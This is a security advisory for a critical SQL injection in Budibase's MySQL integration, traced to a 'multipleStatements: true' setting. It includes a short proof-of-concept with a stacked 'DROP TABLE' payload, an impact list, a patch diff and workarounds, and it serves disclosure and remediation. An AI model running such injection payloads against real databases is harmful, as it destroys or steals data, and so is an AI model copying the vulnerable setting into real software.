---
id: GHSA-q6x4-v3qx-85qw
title: ' Budibase: SQL Injection via `multipleStatements: true`'
summary: ' Budibase: SQL Injection via `multipleStatements: true`'
severity: critical
cvss: 9.6
cwe:
  - CWE-89
vendor: budibase
product: '@budibase/server'
ecosystem: npm
affected:
  - '@budibase/server <= 3.38.1'
published: '2026-07-24'
updated: '2026-07-24'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-q6x4-v3qx-85qw'
references:
  - url: >-
      https://github.com/Budibase/budibase/security/advisories/GHSA-q6x4-v3qx-85qw
  - url: 'https://github.com/Budibase/budibase/releases/tag/3.40.0'
  - url: 'https://github.com/advisories/GHSA-q6x4-v3qx-85qw'
tags:
  - ghsa
  - npm
ingestedAt: '2026-07-24T21:39:14.371Z'
---

## Overview

## Summary
A critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.

## Details
### Vulnerability Type
SQL Injection

### Description
The MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.

### Location
```typescript
// File: packages/server/src/integrations/mysql.ts
// Line: 173

this.config = {
  ...config,
  typeCast: defaultTypeCasting,
  multipleStatements: true,  // VULNERABLE
  timezone: "Z",
}
```

## Proof of Concept

### Exploit
```javascript
const mysql = require('mysql2');

// Budibase vulnerable configuration
const connection = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'password',
  multipleStatements: true,  // Vulnerable setting
  timezone: "Z"
});

// Attack: Data destruction
connection.query(
  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,
  (err, results) => {
    if (!err) console.log("Table dropped successfully");
  }
);
```

## Impact
- **Data Destruction**: Execute DROP TABLE, DELETE commands
- **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE
- **Privilege Escalation**: Grant database admin privileges
- **Denial of Service**: Disrupt service operations
- **Complete Database Compromise**: Full control over database

## Remediation
### Patch
```diff
--- a/packages/server/src/integrations/mysql.ts
+++ b/packages/server/src/integrations/mysql.ts
@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {
     this.config = {
       ...config,
       typeCast: defaultTypeCasting,
-      multipleStatements: true,
+      multipleStatements: false,
       timezone: "Z",
     }
   }
```

### Workarounds
1. Temporarily disable MySQL integration
2. Implement web application firewall (WAF)
3. Restrict database user privileges

## Affected packages

- `@budibase/server <= 3.38.1`

## Remediation

Refer to the advisory for the patched release.